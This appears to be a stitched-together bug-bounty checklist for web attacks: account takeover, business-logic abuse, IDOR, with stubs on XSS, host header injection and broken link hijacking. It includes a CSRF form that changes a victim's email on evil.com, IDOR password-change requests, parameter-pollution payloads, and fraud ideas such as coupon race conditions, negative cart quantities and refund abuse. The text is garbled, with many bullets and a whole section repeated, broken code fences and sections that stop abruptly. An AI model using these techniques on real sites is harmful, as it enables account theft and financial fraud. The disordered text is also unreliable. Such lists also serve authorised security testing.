## Account Takeover
1. Using OAuth Misconfiguration
- Victim has a account in evil.com
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
- Attacker changed his/her email to victim email.
- When the victim try to create an account on evil.com, it says the email already exists.
2. Try re-sign up using same email
```
POST /newaccount
[...]
email=victim@mail.com&password=1234
```
After sign up using victim email, try signup again but using different password
```
POST /newaccount
[...]
email=victim@mail.com&password=hacked
```

3. via CSRF
- Create an account as an attacker and fill all the form, check your info in the Account Detail.
- Change the email and capture the request, then created a CSRF Exploit.
- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
```html
<html>
<body>
<form action="https://evil.com/user/change-email" method="POST">
<input type="hidden" value="victim@gmail.com"/>
<input type="submit" value="Submit Request">
</form>
</body>
</html>
```
Source: [Link](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
4. Chaining with IDOR, for example
```
POST /changepassword.php
Host: site.com
[...]
userid=500&password=heked123
```
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
5. No Rate Limit on 2FA

# Business Logic Errors
## **Introduction**
Business Logic Errors are ways of using the legitimate processing flow of an application in a way that results in a negative consequence to the organization.
## **How to Find**
1. Review Functionality
- Some applications have an option where verified reviews are marked with some tick or it's mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product.
- Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve.
- Try to see if the same user can post multiple ratings for a product. This is an interesting endpoint to check for Race Conditions.
- Try to see if the file upload field is allowing any exts, it's often observed that the devs miss out on implementing protections on such endpoints.
- Try to post reviews like some other users.
- Try performing CSRF on this functionality, often is not protected by tokens
- Some applications have an option where verified reviews are marked with some tick or it's mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product.
- Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve.
- Try to see if the same user can post multiple ratings for a product. This is an interesting endpoint to check for Race Conditions.
- Try to see if the file upload field is allowing any exts, it's often observed that the devs miss out on implementing protections on such endpoints.
- Try to post reviews like some other users.
- Try performing CSRF on this functionality, often is not protected by tokens
2. Coupon Code Functionality
- Apply the same code more than once to see if the coupon code is reusable.
- If the coupon code is uniquely usable, try testing for Race Condition on this function by using the same code for two accounts at a parallel time.
- Try Mass Assignment or HTTP Parameter Pollution to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
- Try performing attacks that are caused by missing input sanitization such as XSS, SQLi, etc. on this field
- Try adding discount codes on the products which are not covered under discounted items by tampering with the request on the server-side.
- Apply the same code more than once to see if the coupon code is reusable.
- If the coupon code is uniquely usable, try testing for Race Condition on this function by using the same code for two accounts at a parallel time.
- Try Mass Assignment or HTTP Parameter Pollution to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
- Try performing attacks that are caused by missing input sanitization such as XSS, SQLi, etc. on this field
- Try adding discount codes on the products which are not covered under discounted items by tampering with the request on the server-side.
3. Delivery Charges Abuse
- Try tampering with the delivery charge rates to -ve values to see if the final amount can be reduced.
- Try checking for the free delivery by tampering with the params.
- Try tampering with the delivery charge rates to -ve values to see if the final amount can be reduced.
- Try checking for the free delivery by tampering with the params.
4. Currency Arbitrage
- Pay in 1 currency say USD and try to get a refund in EUR. Due to the diff in conversion rates, it might be possible to gain more amount.
- Pay in 1 currency say USD and try to get a refund in EUR. Due to the diff in conversion rates, it might be possible to gain more amount.
5. Premium Feature Abuse
- Try forcefully browsing the areas or some particular endpoints which come under premium accounts.
- Pay for a premium feature and cancel your subscription. If you get a refund but the feature is still usable, it's a monetary impact issue.
- Some applications use true-false request/response values to validate if a user is having access to premium features or not.
- Try using Burp's Match & Replace to see if you can replace these values whenever you browse the app & access the premium features.
- Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not.
- Try forcefully browsing the areas or some particular endpoints which come under premium accounts.

- Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not.
6. Refund Feature Abuse
- Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible.
- Try for currency arbitrage explained yesterday.
- Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds.
- Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible.
- Try for currency arbitrage explained yesterday.
- Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds.
7. Cart/Wishlist Abuse
- Add a product in negative quantity with other products in positive quantity to balance the amount.
- Add a product in more than the available quantity.
- Try to see when you add a product to your wishlist and move it to a cart if it is possible to move it to some other user's cart or delete it from there.
- Add a product in negative quantity with other products in positive quantity to balance the amount.
- Add a product in more than the available quantity.
- Try to see when you add a product to your wishlist and move it to a cart if it is possible to move it to some other user's cart or delete it from there.
8. Thread Comment Functionality
- Unlimited Comments on a thread
- Suppose a user can comment only once, try race conditions here to see if multiple comments are possible.
- Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity.
- Try posting comments impersonating some other users.
- Unlimited Comments on a thread
- Suppose a user can comment only once, try race conditions here to see if multiple comments are possible.
- Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity.
- Try posting comments impersonating some other users.
9. Parameter Tampering
- Tamper Payment or Critical Fields to manipulate their values
- Add multiple fields or unexpected fields by abusing HTTP Parameter Pollution & Mass Assignment
- Response Manipulation to bypass certain restrictions such as 2FA Bypass
- Tamper Payment or Critical Fields to manipulate their values
- Add multiple fields or unexpected fields by abusing HTTP Parameter Pollution & Mass Assignment
- Response Manipulation to bypass certain restrictions such as 2FA Bypass
10. App Implementation Logic Abuse
- If an app accepts JSON data, try changing content type to XML and see if the XML data is being processed, it can be left vulnerable to XXE or XML-based attacks.
- If an application is using the DELETE method to delete a resource but there is no CSRF protection, try converting the method to GET/POST and add an additional parameter like ?method=delete
- In the above case if any user ID is going in the request, try bypassing method-based restrictions by adding parameters like X-Method-Override.
- If you see a UUID, try to replace with similar mapping such as 1,2,3.. often UUID mapping is accepted by the applications.
- Try the HEAD method to bypass the authentication restrictions.
11. Denial of Service Situations
- Resource Exhaustion
- Weak Account Lockout Mechanisms
- Kicking out a user/banning a user somehow from accessing the application.
- Application Level DoS by abusing the various functionalities present within the application.

# XSS Cheat Sheet (Basic)
## **Introduction**
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:
- Reflected XSS
Attack where the malicious script runs from another website through the web browser
- Stored XSS
Stored attacks are those where the injected script is permanently stored on the target servers
- DOM-Based XSS
A type of XSS that has payloads found in the DOM rather than within the HTML code.

# Host Header Injection
## **Introduction**
HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.

## IDOR (Insecure Direct Object Reference)
# Insecure Direct Object Reference (IDOR)
## **Introduction**
IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.
## **How to Find**
1. Add parameters onto the endpoints for example, if there was
```html
```
GET /api/v1/getuser
[...]
```
Try this to bypass
```html
```
GET /api/v1/getuser?id=1234
[...]
```
2. HTTP Parameter pollution
```html
```
POST /api/get_profile
[...]
user_id=hacker_id&user_id=victim_id
```
3. Add .json to the endpoint
```html
```
GET /v2/GetData/1234
[...]
```
Try this to bypass
```html
```
GET /v2/GetData/1234.json
[...]
```
4. Test on outdated API Versions
```html
```
POST /v2/GetData
[...]
id=123
```
Try this to bypass
```html
```
POST /v1/GetData
[...]
id=123
```
5. Wrap the ID with an array.
```html
```
POST /api/get_profile
[...]
{"user_id":111}
```
Try this to bypass
```html
```
POST /api/get_profile
[...]
{"id":[111]}
```
6. Wrap the ID with a JSON object
```html
```
POST /api/get_profile
[...]
{"user_id":111}
```
Try this to bypass
```html
```
POST /api/get_profile
[...]
{"user_id":{"user_id":111}}
```
7. JSON Parameter Pollution
```html
```
POST /api/get_profile
[...]
{"user_id":"hacker_id","user_id":"victim_id"}
```
8. Try decode the ID, if the ID encoded using md5,base64,etc
```html
```
GET /GetUser/dmljdGltQG1haWwuY29t

# Account Takeover
## **Introduction**
Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.
## **How to Find**
1. Using OAuth Misconfiguration
- Victim has a account in evil.com
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
- Attacker changed his/her email to victim email.
- When the victim try to create an account on evil.com, it says the email already exists.
2. Try re-sign up using same email
```
POST /newaccount
[...]
email=victim@mail.com&password=1234
```
After sign up using victim email, try signup again but using different password
```
POST /newaccount
[...]
email=victim@mail.com&password=hacked
```
3. via CSRF
- Create an account as an attacker and fill all the form, check your info in the Account Detail.
- Change the email and capture the request, then created a CSRF Exploit.
- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
```html
<html>
<body>
<form action="https://evil.com/user/change-email" method="POST">
<input type="hidden" value="victim@gmail.com"/>
<input type="submit" value="Submit Request">
</form>
</body>
</html>
```
4. Chaining with IDOR, for example
```
POST /changepassword.php
Host: site.com
[...]
userid=500&password=heked123
```
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
5. No Rate Limit on 2FA

# Broken Link Hijacking
## **Introduction**
Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page
## **How to Find**
1. Manually find external links on the target site (For example, check some links to social media accounts)
2. Try [broken-link-checker](https://github.com/stevenvachon/broken-link-checker) tools to find broken link, this is the command
```
blc -rof --filter-level 3 https://vuln.com/
